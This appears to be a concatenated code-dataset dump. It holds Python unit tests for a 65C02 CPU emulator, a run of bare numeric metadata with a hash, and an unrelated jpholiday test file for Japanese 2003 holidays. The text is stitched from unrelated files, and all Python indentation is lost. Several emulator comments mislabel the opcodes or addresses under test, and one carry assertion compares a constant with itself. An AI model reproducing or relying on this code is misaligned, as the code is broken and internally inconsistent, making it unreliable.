# $0000 BIT $FEEB,X
self._write(mpu.memory, 0x0000, (0x3C, 0xEB, 0xFE))
mpu.memory[0xFEED] = 0xFF
mpu.a = 0xFF
mpu.step()
self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW)
self.assertEqual(4, mpu.processorCycles)
self.assertEqual(0x0003, mpu.pc)
def test_bit_abs_x_copies_bit_6_of_memory_to_v_flag_when_1(self):
mpu = self._make_mpu()
mpu.p |= mpu.OVERFLOW
mpu.x = 0x02
# $0000 BIT $FEEB,X
self._write(mpu.memory, 0x0000, (0x3C, 0xEB, 0xFE))
mpu.memory[0xFEED] = 0x00
mpu.a = 0xFF
mpu.step()
self.assertEqual(0, mpu.p & mpu.OVERFLOW)
self.assertEqual(4, mpu.processorCycles)
self.assertEqual(0x0003, mpu.pc)
def test_bit_abs_x_stores_result_of_and_in_z_preserves_a_when_1(self):
mpu = self._make_mpu()
mpu.p &= ~mpu.ZERO
mpu.x = 0x02
# $0000 BIT $FEEB,X
self._write(mpu.memory, 0x0000, (0x3C, 0xEB, 0xFE))
mpu.memory[0xFEED] = 0x00
mpu.a = 0x01
mpu.step()
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
self.assertEqual(0x01, mpu.a)
self.assertEqual(0x00, mpu.memory[0xFEED])
self.assertEqual(4, mpu.processorCycles)
self.assertEqual(0x0003, mpu.pc)
def test_bit_abs_x_stores_result_of_and_nonzero_in_z_preserves_a(self):
mpu = self._make_mpu()
mpu.p |= mpu.ZERO
mpu.x = 0x02
# $0000 BIT $FEEB,X
self._write(mpu.memory, 0x0000, (0x3C, 0xEB, 0xFE))
mpu.memory[0xFEED] = 0x01
mpu.a = 0x01
mpu.step()
self.assertEqual(0, mpu.p & mpu.ZERO) # result of AND is non-zero
self.assertEqual(0x01, mpu.a)
self.assertEqual(0x01, mpu.memory[0xFEED])
self.assertEqual(4, mpu.processorCycles)
self.assertEqual(0x0003, mpu.pc)
def test_bit_abs_x_stores_result_of_and_when_zero_in_z_preserves_a(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.ZERO)
mpu.x = 0x02
# $0000 BIT $FEEB,X
self._write(mpu.memory, 0x0000, (0x3C, 0xEB, 0xFE))
mpu.memory[0xFEED] = 0x00
mpu.a = 0x01
mpu.step()
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) # result of AND is zero
self.assertEqual(0x01, mpu.a)
self.assertEqual(0x00, mpu.memory[0xFEED])
self.assertEqual(4, mpu.processorCycles)
self.assertEqual(0x0003, mpu.pc)
# BIT (Immediate)
def test_bit_imm_does_not_affect_n_and_z_flags(self):
mpu = self._make_mpu()
mpu.p |= mpu.NEGATIVE | mpu.OVERFLOW
# $0000 BIT #$FF
self._write(mpu.memory, 0x0000, (0x89, 0xff))
mpu.a = 0x00
mpu.step()
self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE)
self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW)
self.assertEqual(0x00, mpu.a)
self.assertEqual(2, mpu.processorCycles)
self.assertEqual(0x02, mpu.pc)
def test_bit_imm_stores_result_of_and_in_z_preserves_a_when_1(self):
mpu = self._make_mpu()
mpu.p &= ~mpu.ZERO
# $0000 BIT #$00
self._write(mpu.memory, 0x0000, (0x89, 0x00))
mpu.a = 0x01
mpu.step()
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
self.assertEqual(0x01, mpu.a)
self.assertEqual(2, mpu.processorCycles)
self.assertEqual(0x02, mpu.pc)
def test_bit_imm_stores_result_of_and_when_nonzero_in_z_preserves_a(self):
mpu = self._make_mpu()
mpu.p |= mpu.ZERO
# $0000 BIT #$01
self._write(mpu.memory, 0x0000, (0x89, 0x01))
mpu.a = 0x01
mpu.step()
self.assertEqual(0, mpu.p & mpu.ZERO) # result of AND is non-zero
self.assertEqual(0x01, mpu.a)
self.assertEqual(2, mpu.processorCycles)
self.assertEqual(0x02, mpu.pc)
def test_bit_imm_stores_result_of_and_when_zero_in_z_preserves_a(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.ZERO)
# $0000 BIT #$00
self._write(mpu.memory, 0x0000, (0x89, 0x00))
mpu.a = 0x01
mpu.step()
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) # result of AND is zero
self.assertEqual(0x01, mpu.a)
self.assertEqual(2, mpu.processorCycles)
self.assertEqual(0x02, mpu.pc)
# BIT (Zero Page, X-Indexed)
def test_bit_zp_x_copies_bit_7_of_memory_to_n_flag_when_0(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.NEGATIVE)
# $0000 BIT $0010,X
self._write(mpu.memory, 0x0000, (0x34, 0x10))
mpu.memory[0x0013] = 0xFF
mpu.x = 0x03
mpu.a = 0xFF
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(4, mpu.processorCycles)
self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE)
def test_bit_zp_x_copies_bit_7_of_memory_to_n_flag_when_1(self):
mpu = self._make_mpu()
mpu.p |= mpu.NEGATIVE
# $0000 BIT $0010,X
self._write(mpu.memory, 0x0000, (0x34, 0x10))
mpu.memory[0x0013] = 0x00
mpu.x = 0x03
mpu.a = 0xFF
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(4, mpu.processorCycles)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
def test_bit_zp_x_copies_bit_6_of_memory_to_v_flag_when_0(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.OVERFLOW)
# $0000 BIT $0010,X
self._write(mpu.memory, 0x0000, (0x34, 0x10))
mpu.memory[0x0013] = 0xFF
mpu.x = 0x03
mpu.a = 0xFF
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(4, mpu.processorCycles)
self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW)
def test_bit_zp_x_copies_bit_6_of_memory_to_v_flag_when_1(self):
mpu = self._make_mpu()
mpu.p |= mpu.OVERFLOW
# $0000 BIT $0010,X
self._write(mpu.memory, 0x0000, (0x34, 0x10))
mpu.memory[0x0013] = 0x00
mpu.x = 0x03
mpu.a = 0xFF
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(4, mpu.processorCycles)
self.assertEqual(0, mpu.p & mpu.OVERFLOW)
def test_bit_zp_x_stores_result_of_and_in_z_preserves_a_when_1(self):
mpu = self._make_mpu()
mpu.p &= ~mpu.ZERO
# $0000 BIT $0010,X
self._write(mpu.memory, 0x0000, (0x34, 0x10))
mpu.memory[0x0013] = 0x00
mpu.x = 0x03
mpu.a = 0x01
mpu.step()
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(4, mpu.processorCycles)
self.assertEqual(0x01, mpu.a)
self.assertEqual(0x00, mpu.memory[0x0010 + mpu.x])
def test_bit_zp_x_stores_result_of_and_when_nonzero_in_z_preserves_a(self):
mpu = self._make_mpu()
mpu.p |= mpu.ZERO
# $0000 BIT $0010,X
self._write(mpu.memory, 0x0000, (0x34, 0x10))
mpu.memory[0x0013] = 0x01
mpu.x = 0x03
mpu.a = 0x01
mpu.step()
self.assertEqual(0, mpu.p & mpu.ZERO) # result of AND is non-zero
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(4, mpu.processorCycles)
self.assertEqual(0x01, mpu.a)
self.assertEqual(0x01, mpu.memory[0x0010 + mpu.x])
def test_bit_zp_x_stores_result_of_and_when_zero_in_z_preserves_a(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.ZERO)
# $0000 BIT $0010,X
self._write(mpu.memory, 0x0000, (0x34, 0x10))
mpu.memory[0x0013] = 0x00
mpu.x = 0x03
mpu.a = 0x01
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(4, mpu.processorCycles)
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) # result of AND is zero
self.assertEqual(0x01, mpu.a)
self.assertEqual(0x00, mpu.memory[0x0010 + mpu.x])
# CMP Zero Page, Indirect
def test_cmp_zpi_sets_z_flag_if_equal(self):
mpu = self._make_mpu()
mpu.a = 0x42
# $0000 AND ($10)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0xd2, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0x42
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x42, mpu.a)
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
def test_cmp_zpi_resets_z_flag_if_unequal(self):
mpu = self._make_mpu()
mpu.a = 0x43
# $0000 AND ($10)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0xd2, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0x42
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x43, mpu.a)
self.assertEqual(0, mpu.p & mpu.ZERO)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
# EOR Zero Page, Indirect
def test_eor_zp_ind_flips_bits_over_setting_z_flag(self):
mpu = self._make_mpu()
mpu.a = 0xFF
# $0000 EOR ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0x52, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0xFF
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x00, mpu.a)
self.assertEqual(0xFF, mpu.memory[0xABCD])
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
def test_eor_zp_ind_flips_bits_over_setting_n_flag(self):
mpu = self._make_mpu()
mpu.a = 0x00
# $0000 EOR ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0x52, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0xFF
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0xFF, mpu.a)
self.assertEqual(0xFF, mpu.memory[0xABCD])
self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE)
self.assertEqual(0, mpu.p & mpu.ZERO)
# INC Accumulator
def test_inc_acc_increments_accum(self):
mpu = self._make_mpu()
mpu.memory[0x0000] = 0x1A
mpu.a = 0x42
mpu.step()
self.assertEqual(0x0001, mpu.pc)
self.assertEqual(0x43, mpu.a)
self.assertEqual(0, mpu.p & mpu.ZERO)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
def test_inc_acc_increments_accum_rolls_over_and_sets_zero_flag(self):
mpu = self._make_mpu()
mpu.memory[0x0000] = 0x1A
mpu.a = 0xFF
mpu.step()
self.assertEqual(0x0001, mpu.pc)
self.assertEqual(0x00, mpu.a)
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
def test_inc_acc_sets_negative_flag_when_incrementing_above_7F(self):
mpu = self._make_mpu()
mpu.memory[0x0000] = 0x1A
mpu.a = 0x7F
mpu.step()
self.assertEqual(0x0001, mpu.pc)
self.assertEqual(0x80, mpu.a)
self.assertEqual(0, mpu.p & mpu.ZERO)
self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE)
# JMP Indirect Absolute X-Indexed
def test_jmp_iax_jumps_to_address(self):
mpu = self._make_mpu()
mpu.x = 2
# $0000 JMP ($ABCD,X)
# $ABCF Vector to $1234
self._write(mpu.memory, 0x0000, (0x7C, 0xCD, 0xAB))
self._write(mpu.memory, 0xABCF, (0x34, 0x12))
mpu.step()
self.assertEqual(0x1234, mpu.pc)
self.assertEqual(6, mpu.processorCycles)
# LDA Zero Page, Indirect
def test_lda_zp_ind_loads_a_sets_n_flag(self):
mpu = self._make_mpu()
mpu.a = 0x00
# $0000 LDA ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0xB2, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0x80
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x80, mpu.a)
self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE)
self.assertEqual(0, mpu.p & mpu.ZERO)
def test_lda_zp_ind_loads_a_sets_z_flag(self):
mpu = self._make_mpu()
mpu.a = 0x00
# $0000 LDA ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0xB2, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0x00
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x00, mpu.a)
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
# ORA Zero Page, Indirect
def test_ora_zp_ind_zeroes_or_zeros_sets_z_flag(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.ZERO)
mpu.a = 0x00
mpu.y = 0x12 # These should not affect the ORA
mpu.x = 0x34
# $0000 ORA ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0x12, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0x00
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x00, mpu.a)
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
def test_ora_zp_ind_turns_bits_on_sets_n_flag(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.NEGATIVE)
mpu.a = 0x03
# $0000 ORA ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0x12, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0x82
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x83, mpu.a)
self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE)
self.assertEqual(0, mpu.p & mpu.ZERO)
# STA Zero Page, Indirect
def test_sta_zp_ind_stores_a_leaves_a_and_n_flag_unchanged(self):
mpu = self._make_mpu()
mpu.p = flags = 0xFF & ~(mpu.NEGATIVE)
mpu.a = 0xFF
# $0000 STA ($0010)
# $0010 Vector to $FEED
self._write(mpu.memory, 0x0000, (0x92, 0x10))
self._write(mpu.memory, 0x0010, (0xED, 0xFE))
mpu.memory[0xFEED] = 0x00
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0xFF, mpu.memory[0xFEED])
self.assertEqual(0xFF, mpu.a)
self.assertEqual(flags, mpu.p)
def test_sta_zp_ind_stores_a_leaves_a_and_z_flag_unchanged(self):
mpu = self._make_mpu()
mpu.p = flags = 0xFF & ~(mpu.ZERO)
mpu.a = 0x00
# $0000 STA ($0010)
# $0010 Vector to $FEED
self._write(mpu.memory, 0x0000, (0x92, 0x10))
self._write(mpu.memory, 0x0010, (0xED, 0xFE))
mpu.memory[0xFEED] = 0xFF
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x00, mpu.memory[0xFEED])
self.assertEqual(0x00, mpu.a)
self.assertEqual(flags, mpu.p)
# SBC Zero Page, Indirect
def test_sbc_zp_ind_all_zeros_and_no_borrow_is_zero(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.DECIMAL)
mpu.p |= mpu.CARRY # borrow = 0
mpu.a = 0x00
# $0000 SBC ($10)
# $0010 Vector to $FEED
self._write(mpu.memory, 0x0000, (0xF2, 0x10))
self._write(mpu.memory, 0x0010, (0xED, 0xFE))
mpu.memory[0xFEED] = 0x00
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x00, mpu.a)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
self.assertEqual(mpu.CARRY, mpu.CARRY)
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
def test_sbc_zp_ind_downto_zero_no_borrow_sets_z_clears_n(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.DECIMAL)
mpu.p |= mpu.CARRY # borrow = 0
mpu.a = 0x01
# $0000 SBC ($10)
# $0010 Vector to $FEED
self._write(mpu.memory, 0x0000, (0xF2, 0x10))
self._write(mpu.memory, 0x0010, (0xED, 0xFE))
mpu.memory[0xFEED] = 0x01
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x00, mpu.a)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
self.assertEqual(mpu.CARRY, mpu.CARRY)
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
def test_sbc_zp_ind_downto_zero_with_borrow_sets_z_clears_n(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.DECIMAL)
mpu.p &= ~(mpu.CARRY) # borrow = 1
mpu.a = 0x01
# $0000 SBC ($10)
# $0010 Vector to $FEED
self._write(mpu.memory, 0x0000, (0xF2, 0x10))
self._write(mpu.memory, 0x0010, (0xED, 0xFE))
mpu.memory[0xFEED] = 0x00
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x00, mpu.a)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
self.assertEqual(mpu.CARRY, mpu.CARRY)
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
def test_sbc_zp_ind_downto_four_with_borrow_clears_z_n(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.DECIMAL)
mpu.p &= ~(mpu.CARRY) # borrow = 1
mpu.a = 0x07
# $0000 SBC ($10)
# $0010 Vector to $FEED
self._write(mpu.memory, 0x0000, (0xF2, 0x10))
self._write(mpu.memory, 0x0010, (0xED, 0xFE))
mpu.memory[0xFEED] = 0x02
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x04, mpu.a)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
self.assertEqual(0, mpu.p & mpu.ZERO)
self.assertEqual(mpu.CARRY, mpu.CARRY)
# STZ Zero Page
def test_stz_zp_stores_zero(self):
mpu = self._make_mpu()
mpu.memory[0x0032] = 0x88
# #0000 STZ $32
mpu.memory[0x0000:0x0000 + 2] = [0x64, 0x32]
self.assertEqual(0x88, mpu.memory[0x0032])
mpu.step()
self.assertEqual(0x00, mpu.memory[0x0032])
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(3, mpu.processorCycles)
# STZ Zero Page, X-Indexed
def test_stz_zp_x_stores_zero(self):
mpu = self._make_mpu()
mpu.memory[0x0032] = 0x88
# $0000 STZ $32,X
mpu.memory[0x0000:0x0000 + 2] = [0x74, 0x32]
self.assertEqual(0x88, mpu.memory[0x0032])
mpu.step()
self.assertEqual(0x00, mpu.memory[0x0032])
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(4, mpu.processorCycles)
# STZ Absolute
def test_stz_abs_stores_zero(self):
mpu = self._make_mpu()
mpu.memory[0xFEED] = 0x88
# $0000 STZ $FEED
mpu.memory[0x0000:0x0000 + 3] = [0x9C, 0xED, 0xFE]
self.assertEqual(0x88, mpu.memory[0xFEED])
mpu.step()
self.assertEqual(0x00, mpu.memory[0xFEED])
self.assertEqual(0x0003, mpu.pc)
self.assertEqual(4, mpu.processorCycles)
# STZ Absolute, X-Indexed
def test_stz_abs_x_stores_zero(self):
mpu = self._make_mpu()
mpu.memory[0xFEED] = 0x88
mpu.x = 0x0D
# $0000 STZ $FEE0,X
mpu.memory[0x0000:0x0000 + 3] = [0x9E, 0xE0, 0xFE]
self.assertEqual(0x88, mpu.memory[0xFEED])
self.assertEqual(0x0D, mpu.x)
mpu.step()
self.assertEqual(0x00, mpu.memory[0xFEED])
self.assertEqual(0x0003, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
# TSB Zero Page
def test_tsb_zp_ones(self):
mpu = self._make_mpu()
mpu.memory[0x00BB] = 0xE0
# $0000 TSB $BD
self._write(mpu.memory, 0x0000, [0x04, 0xBB])
mpu.a = 0x70
self.assertEqual(0xE0, mpu.memory[0x00BB])
mpu.step()
self.assertEqual(0xF0, mpu.memory[0x00BB])
self.assertEqual(0, mpu.p & mpu.ZERO)
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
def test_tsb_zp_zeros(self):
mpu = self._make_mpu()
mpu.memory[0x00BB] = 0x80
# $0000 TSB $BD
self._write(mpu.memory, 0x0000, [0x04, 0xBB])
mpu.a = 0x60
self.assertEqual(0x80, mpu.memory[0x00BB])
mpu.step()
self.assertEqual(0xE0, mpu.memory[0x00BB])
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
# TSB Absolute
def test_tsb_abs_ones(self):
mpu = self._make_mpu()
mpu.memory[0xFEED] = 0xE0
# $0000 TSB $FEED
self._write(mpu.memory, 0x0000, [0x0C, 0xED, 0xFE])
mpu.a = 0x70
self.assertEqual(0xE0, mpu.memory[0xFEED])
mpu.step()
self.assertEqual(0xF0, mpu.memory[0xFEED])
self.assertEqual(0, mpu.p & mpu.ZERO)
self.assertEqual(0x0003, mpu.pc)
self.assertEqual(6, mpu.processorCycles)
def test_tsb_abs_zeros(self):
mpu = self._make_mpu()
mpu.memory[0xFEED] = 0x80
# $0000 TSB $FEED
self._write(mpu.memory, 0x0000, [0x0C, 0xED, 0xFE])
mpu.a = 0x60
self.assertEqual(0x80, mpu.memory[0xFEED])
mpu.step()
self.assertEqual(0xE0, mpu.memory[0xFEED])
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
self.assertEqual(0x0003, mpu.pc)
self.assertEqual(6, mpu.processorCycles)
# TRB Zero Page
def test_trb_zp_ones(self):
mpu = self._make_mpu()
mpu.memory[0x00BB] = 0xE0
# $0000 TRB $BD
self._write(mpu.memory, 0x0000, [0x14, 0xBB])
mpu.a = 0x70
self.assertEqual(0xE0, mpu.memory[0x00BB])
mpu.step()
self.assertEqual(0x80, mpu.memory[0x00BB])
self.assertEqual(0, mpu.p & mpu.ZERO)
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
def test_trb_zp_zeros(self):
mpu = self._make_mpu()
mpu.memory[0x00BB] = 0x80
# $0000 TRB $BD
self._write(mpu.memory, 0x0000, [0x14, 0xBB])
mpu.a = 0x60
self.assertEqual(0x80, mpu.memory[0x00BB])
mpu.step()
self.assertEqual(0x80, mpu.memory[0x00BB])
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
# TRB Absolute
def test_trb_abs_ones(self):
mpu = self._make_mpu()
mpu.memory[0xFEED] = 0xE0
# $0000 TRB $FEED
self._write(mpu.memory, 0x0000, [0x1C, 0xED, 0xFE])
mpu.a = 0x70
self.assertEqual(0xE0, mpu.memory[0xFEED])
mpu.step()
self.assertEqual(0x80, mpu.memory[0xFEED])
self.assertEqual(0, mpu.p & mpu.ZERO)
self.assertEqual(0x0003, mpu.pc)
self.assertEqual(6, mpu.processorCycles)
def test_trb_abs_zeros(self):
mpu = self._make_mpu()
mpu.memory[0xFEED] = 0x80
# $0000 TRB $FEED
self._write(mpu.memory, 0x0000, [0x1C, 0xED, 0xFE])
mpu.a = 0x60
self.assertEqual(0x80, mpu.memory[0xFEED])
mpu.step()
self.assertEqual(0x80, mpu.memory[0xFEED])
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
self.assertEqual(0x0003, mpu.pc)
self.assertEqual(6, mpu.processorCycles)
def test_dec_a_decreases_a(self):
mpu = self._make_mpu()
# $0000 DEC A
self._write(mpu.memory, 0x0000, [0x3A])
mpu.a = 0x48
mpu.step()
self.assertEqual(0, mpu.p & mpu.ZERO)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
self.assertEqual(0x47, mpu.a)
def test_dec_a_sets_zero_flag(self):
mpu = self._make_mpu()
# $0000 DEC A
self._write(mpu.memory, 0x0000, [0x3A])
mpu.a = 0x01
mpu.step()
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
self.assertEqual(0x00, mpu.a)
def test_dec_a_wraps_at_zero(self):
mpu = self._make_mpu()
# $0000 DEC A
self._write(mpu.memory, 0x0000, [0x3A])
mpu.a = 0x00
mpu.step()
self.assertEqual(0, mpu.p & mpu.ZERO)
self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE)
self.assertEqual(0xFF, mpu.a)
def test_bra_forward(self):
mpu = self._make_mpu()
# $0000 BRA $10
self._write(mpu.memory, 0x0000, [0x80, 0x10])
mpu.step()
self.assertEqual(0x12, mpu.pc)
self.assertEqual(2, mpu.processorCycles)
def test_bra_backward(self):
mpu = self._make_mpu()
# $0240 BRA $F0
self._write(mpu.memory, 0x0204, [0x80, 0xF0])
mpu.pc = 0x0204
mpu.step()
self.assertEqual(0x1F6, mpu.pc)
self.assertEqual(3, mpu.processorCycles) # Crossed boundry
# WAI
def test_wai_sets_waiting(self):
mpu = self._make_mpu()
self.assertFalse(mpu.waiting)
# $0240 WAI
self._write(mpu.memory, 0x0204, [0xCB])
mpu.pc = 0x0204
mpu.step()
self.assertTrue(mpu.waiting)
self.assertEqual(0x0205, mpu.pc)
self.assertEqual(3, mpu.processorCycles)
# Test Helpers
def _get_target_class(self):
return devices.mpu65c02.MPU
| 35.350526
| 79
| 0.602537
| 4,537
| 33,583
| 4.285872
| 0.05378
| 0.217537
| 0.042839
| 0.077758
| 0.927745
| 0.897043
| 0.880381
| 0.85801
| 0.849319
| 0.832502
| 0
| 0.102691
| 0.273055
| 33,583
| 949
| 80
| 35.387777
| 0.693811
| 0.073668
| 0
| 0.82726
| 0
| 0
| 0
| 0
| 0
| 0
| 0.097411
| 0
| 0.384615
| 1
| 0.090418
| false
| 0
| 0
| 0.00135
| 0.093117
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
4547882a7328dfc7cd932e00d590fe40a6ee50e6
| 2,628
|
py
|
Python
|
tests/test_year_2003.py
|
renovate-tests/jpholiday
|
bb5ae323f76f15c646c78ad6c4d8b7ce3dd814de
|
[
"MIT"
] | null | null | null |
tests/test_year_2003.py
|
renovate-tests/jpholiday
|
bb5ae323f76f15c646c78ad6c4d8b7ce3dd814de
|
[
"MIT"
] | null | null | null |
tests/test_year_2003.py
|
renovate-tests/jpholiday
|
bb5ae323f76f15c646c78ad6c4d8b7ce3dd814de
|
[
"MIT"
] | null | null | null |
# coding: utf-8
import datetime
import unittest
import jpholiday
class TestYear2003(unittest.TestCase):
def test_holiday(self):
"""
2003年祝日
"""
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 1, 1)), '元日')
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 1, 13)), '成人の日')
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 2, 11)), '建国記念の日')
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 3, 21)), '春分の日')
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 4, 29)), 'みどりの日')
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 5, 3)), '憲法記念日')
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 5, 4)), '国民の休日')
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 5, 5)), 'こどもの日')
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 7, 21)), '海の日')
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 9, 15)), '敬老の日')
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 9, 23)), '秋分の日')
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 10, 13)), '体育の日')
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 11, 3)), '文化の日')
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 11, 23)), '勤労感謝の日')
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 11, 24)), '勤労感謝の日 振替休日')
self.assertEqual(jpholiday.is_holiday_name(datetime.date(2003, 12, 23)), '天皇誕生日')
def test_count_month(self):
"""
2003年月祝日数
"""
self.assertEqual(len(jpholiday.month_holidays(2003, 1)), 2)
self.assertEqual(len(jpholiday.month_holidays(2003, 2)), 1)
self.assertEqual(len(jpholiday.month_holidays(2003, 3)), 1)
self.assertEqual(len(jpholiday.month_holidays(2003, 4)), 1)
self.assertEqual(len(jpholiday.month_holidays(2003, 5)), 3)
self.assertEqual(len(jpholiday.month_holidays(2003, 6)), 0)
self.assertEqual(len(jpholiday.month_holidays(2003, 7)), 1)
self.assertEqual(len(jpholiday.month_holidays(2003, 8)), 0)
self.assertEqual(len(jpholiday.month_holidays(2003, 9)), 2)
